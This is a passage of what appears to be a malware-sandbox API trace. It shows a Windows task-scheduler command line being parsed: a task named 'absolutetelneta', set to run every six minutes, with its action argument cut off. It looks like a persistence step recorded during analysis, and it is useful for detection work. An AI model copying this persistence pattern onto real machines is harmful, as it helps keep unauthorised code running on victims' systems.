(_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.483] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|m|") returned 3 [0131.483] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.483] lstrlenW (lpString="|m|") returned 3 [0131.483] lstrlenW (lpString="|tn|") returned 4 [0131.483] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.483] lstrlenW (lpString="i") returned 1 [0131.483] lstrlenW (lpString="i") returned 1 [0131.483] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.483] lstrlenW (lpString="tn") returned 2 [0131.483] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.483] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|i|") returned 3 [0131.483] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.483] lstrlenW (lpString="|i|") returned 3 [0131.483] lstrlenW (lpString="|tn|") returned 4 [0131.483] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.483] lstrlenW (lpString="tn") returned 2 [0131.483] lstrlenW (lpString="tn") returned 2 [0131.483] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.483] lstrlenW (lpString="tn") returned 2 [0131.483] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.483] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.483] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tn|") returned 4 [0131.483] lstrlenW (lpString="|tn|") returned 4 [0131.483] lstrlenW (lpString="|tn|") returned 4 [0131.483] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0131.483] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.483] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.483] lstrlenW (lpString="absolutetelneta") returned 15 [0131.483] lstrlenW (lpString="-/") returned 2 [0131.483] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] lstrlenW (lpString="absolutetelneta") returned 15 [0131.484] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] lstrlenW (lpString="absolutetelneta") returned 15 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] lstrlenW (lpString="/sc") returned 3 [0131.484] lstrlenW (lpString="-/") returned 2 [0131.484] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.484] lstrlenW (lpString="create") returned 6 [0131.484] lstrlenW (lpString="create") returned 6 [0131.484] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.484] lstrlenW (lpString="sc") returned 2 [0131.484] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.484] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.484] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.484] lstrlenW (lpString="|create|") returned 8 [0131.484] lstrlenW (lpString="|sc|") returned 4 [0131.484] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0131.484] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.484] lstrlenW (lpString="?") returned 1 [0131.484] lstrlenW (lpString="?") returned 1 [0131.484] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.484] lstrlenW (lpString="sc") returned 2 [0131.484] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.484] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|?|") returned 3 [0131.484] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.485] lstrlenW (lpString="|?|") returned 3 [0131.485] lstrlenW (lpString="|sc|") returned 4 [0131.485] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.485] lstrlenW (lpString="s") returned 1 [0131.485] lstrlenW (lpString="s") returned 1 [0131.485] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.485] lstrlenW (lpString="sc") returned 2 [0131.485] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.485] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|s|") returned 3 [0131.485] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.485] lstrlenW (lpString="|s|") returned 3 [0131.485] lstrlenW (lpString="|sc|") returned 4 [0131.485] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.485] lstrlenW (lpString="u") returned 1 [0131.485] lstrlenW (lpString="u") returned 1 [0131.485] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.485] lstrlenW (lpString="sc") returned 2 [0131.485] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.485] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|u|") returned 3 [0131.485] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.485] lstrlenW (lpString="|u|") returned 3 [0131.485] lstrlenW (lpString="|sc|") returned 4 [0131.485] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.485] lstrlenW (lpString="p") returned 1 [0131.485] lstrlenW (lpString="p") returned 1 [0131.485] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.485] lstrlenW (lpString="sc") returned 2 [0131.485] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.485] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|p|") returned 3 [0131.485] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.486] lstrlenW (lpString="|p|") returned 3 [0131.486] lstrlenW (lpString="|sc|") returned 4 [0131.486] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.486] lstrlenW (lpString="ru") returned 2 [0131.486] lstrlenW (lpString="ru") returned 2 [0131.486] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.486] lstrlenW (lpString="sc") returned 2 [0131.486] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.486] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ru|") returned 4 [0131.486] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.486] lstrlenW (lpString="|ru|") returned 4 [0131.486] lstrlenW (lpString="|sc|") returned 4 [0131.486] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0131.486] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.486] lstrlenW (lpString="rp") returned 2 [0131.486] lstrlenW (lpString="rp") returned 2 [0131.486] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.486] lstrlenW (lpString="sc") returned 2 [0131.486] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.486] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rp|") returned 4 [0131.486] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.486] lstrlenW (lpString="|rp|") returned 4 [0131.486] lstrlenW (lpString="|sc|") returned 4 [0131.486] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0131.486] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.486] lstrlenW (lpString="sc") returned 2 [0131.486] lstrlenW (lpString="sc") returned 2 [0131.486] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.486] lstrlenW (lpString="sc") returned 2 [0131.486] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.487] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.487] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.487] lstrlenW (lpString="|sc|") returned 4 [0131.487] lstrlenW (lpString="|sc|") returned 4 [0131.487] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] lstrlenW (lpString="MINUTE") returned 6 [0131.487] lstrlenW (lpString="-/") returned 2 [0131.487] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] lstrlenW (lpString="MINUTE") returned 6 [0131.487] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.487] GetProcessHeap () returned 0x1ae83310000 [0131.487] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x18) returned 0x1ae8331a890 [0131.487] _memicmp (_Buf1=0x1ae8331a890, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.487] lstrlenW (lpString="MINUTE") returned 6 [0131.487] GetProcessHeap () returned 0x1ae83310000 [0131.487] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xe) returned 0x1ae8331aa90 [0131.487] lstrlenW (lpString="MINUTE") returned 6 [0131.487] lstrlenW (lpString=" \x09") returned 2 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0131.487] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0131.487] GetLastError () returned 0x0 [0131.487] lstrlenW (lpString="MINUTE") returned 6 [0131.487] lstrlenW (lpString="MINUTE") returned 6 [0131.487] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.488] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.488] lstrlenW (lpString="/mo") returned 3 [0131.488] lstrlenW (lpString="-/") returned 2 [0131.488] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.488] lstrlenW (lpString="create") returned 6 [0131.488] lstrlenW (lpString="create") returned 6 [0131.488] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.488] lstrlenW (lpString="mo") returned 2 [0131.488] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.488] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.488] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.488] lstrlenW (lpString="|create|") returned 8 [0131.488] lstrlenW (lpString="|mo|") returned 4 [0131.488] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0131.488] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.488] lstrlenW (lpString="?") returned 1 [0131.488] lstrlenW (lpString="?") returned 1 [0131.488] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.488] lstrlenW (lpString="mo") returned 2 [0131.488] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.488] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|?|") returned 3 [0131.488] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.488] lstrlenW (lpString="|?|") returned 3 [0131.488] lstrlenW (lpString="|mo|") returned 4 [0131.488] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.488] lstrlenW (lpString="s") returned 1 [0131.488] lstrlenW (lpString="s") returned 1 [0131.488] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.488] lstrlenW (lpString="mo") returned 2 [0131.488] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|s|") returned 3 [0131.489] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.489] lstrlenW (lpString="|s|") returned 3 [0131.489] lstrlenW (lpString="|mo|") returned 4 [0131.489] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.489] lstrlenW (lpString="u") returned 1 [0131.489] lstrlenW (lpString="u") returned 1 [0131.489] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] lstrlenW (lpString="mo") returned 2 [0131.489] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|u|") returned 3 [0131.489] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.489] lstrlenW (lpString="|u|") returned 3 [0131.489] lstrlenW (lpString="|mo|") returned 4 [0131.489] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.489] lstrlenW (lpString="p") returned 1 [0131.489] lstrlenW (lpString="p") returned 1 [0131.489] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] lstrlenW (lpString="mo") returned 2 [0131.489] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|p|") returned 3 [0131.489] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.489] lstrlenW (lpString="|p|") returned 3 [0131.489] lstrlenW (lpString="|mo|") returned 4 [0131.489] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.489] lstrlenW (lpString="ru") returned 2 [0131.489] lstrlenW (lpString="ru") returned 2 [0131.489] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] lstrlenW (lpString="mo") returned 2 [0131.489] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.489] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ru|") returned 4 [0131.490] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.490] lstrlenW (lpString="|ru|") returned 4 [0131.490] lstrlenW (lpString="|mo|") returned 4 [0131.490] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0131.490] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.490] lstrlenW (lpString="rp") returned 2 [0131.490] lstrlenW (lpString="rp") returned 2 [0131.490] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.490] lstrlenW (lpString="mo") returned 2 [0131.490] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.490] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rp|") returned 4 [0131.490] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.490] lstrlenW (lpString="|rp|") returned 4 [0131.490] lstrlenW (lpString="|mo|") returned 4 [0131.490] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0131.490] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.490] lstrlenW (lpString="sc") returned 2 [0131.490] lstrlenW (lpString="sc") returned 2 [0131.490] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.490] lstrlenW (lpString="mo") returned 2 [0131.490] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.490] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|sc|") returned 4 [0131.490] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.490] lstrlenW (lpString="|sc|") returned 4 [0131.490] lstrlenW (lpString="|mo|") returned 4 [0131.490] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0131.490] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.490] lstrlenW (lpString="mo") returned 2 [0131.490] lstrlenW (lpString="mo") returned 2 [0131.490] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.491] lstrlenW (lpString="mo") returned 2 [0131.491] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.491] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.491] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|mo|") returned 4 [0131.491] lstrlenW (lpString="|mo|") returned 4 [0131.491] lstrlenW (lpString="|mo|") returned 4 [0131.491] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0131.491] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.491] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.491] lstrlenW (lpString="6") returned 1 [0131.491] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.491] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.491] lstrlenW (lpString="6") returned 1 [0131.491] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0131.491] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.491] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.491] _memicmp (_Buf1=0x1ae8331a890, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.492] lstrlenW (lpString="6") returned 1 [0131.492] lstrlenW (lpString="6") returned 1 [0131.492] lstrlenW (lpString=" \x09") returned 2 [0131.492] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0131.492] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0131.492] GetLastError () returned 0x0 [0131.492] lstrlenW (lpString="6") returned 1 [0131.492] lstrlenW (lpString="6") returned 1 [0131.492] GetProcessHeap () returned 0x1ae83310000 [0131.492] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x4) returned 0x1ae83314a60 [0131.492] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.492] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.492] lstrlenW (lpString="/tr") returned 3 [0131.492] lstrlenW (lpString="-/") returned 2 [0131.492] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.492] lstrlenW (lpString="create") returned 6 [0131.492] lstrlenW (lpString="create") returned 6 [0131.492] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.492] lstrlenW (lpString="tr") returned 2 [0131.492] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.492] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|create|") returned 8 [0131.492] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.492] lstrlenW (lpString="|create|") returned 8 [0131.492] lstrlenW (lpString="|tr|") returned 4 [0131.492] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0131.492] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.492] lstrlenW (lpString="?") returned 1 [0131.492] lstrlenW (lpString="?") returned 1 [0131.492] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.492] lstrlenW (lpString="tr") returned 2 [0131.492] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.492] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|?|") returned 3 [0131.493] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.493] lstrlenW (lpString="|?|") returned 3 [0131.493] lstrlenW (lpString="|tr|") returned 4 [0131.493] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.493] lstrlenW (lpString="s") returned 1 [0131.493] lstrlenW (lpString="s") returned 1 [0131.493] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.493] lstrlenW (lpString="tr") returned 2 [0131.493] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.493] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|s|") returned 3 [0131.493] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.493] lstrlenW (lpString="|s|") returned 3 [0131.493] lstrlenW (lpString="|tr|") returned 4 [0131.493] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.493] lstrlenW (lpString="u") returned 1 [0131.493] lstrlenW (lpString="u") returned 1 [0131.493] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.493] lstrlenW (lpString="tr") returned 2 [0131.493] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.493] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|u|") returned 3 [0131.493] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.493] lstrlenW (lpString="|u|") returned 3 [0131.493] lstrlenW (lpString="|tr|") returned 4 [0131.493] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.493] lstrlenW (lpString="p") returned 1 [0131.493] lstrlenW (lpString="p") returned 1 [0131.493] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.493] lstrlenW (lpString="tr") returned 2 [0131.493] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.493] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|p|") returned 3 [0131.494] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.494] lstrlenW (lpString="|p|") returned 3 [0131.494] lstrlenW (lpString="|tr|") returned 4 [0131.494] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.494] lstrlenW (lpString="ru") returned 2 [0131.494] lstrlenW (lpString="ru") returned 2 [0131.494] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.494] lstrlenW (lpString="tr") returned 2 [0131.494] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.494] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ru|") returned 4 [0131.494] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.494] lstrlenW (lpString="|ru|") returned 4 [0131.494] lstrlenW (lpString="|tr|") returned 4 [0131.494] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0131.494] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.494] lstrlenW (lpString="rp") returned 2 [0131.494] lstrlenW (lpString="rp") returned 2 [0131.494] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.494] lstrlenW (lpString="tr") returned 2 [0131.494] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.494] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|rp|") returned 4 [0131.494] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|tr|") returned 4 [0131.494] lstrlenW 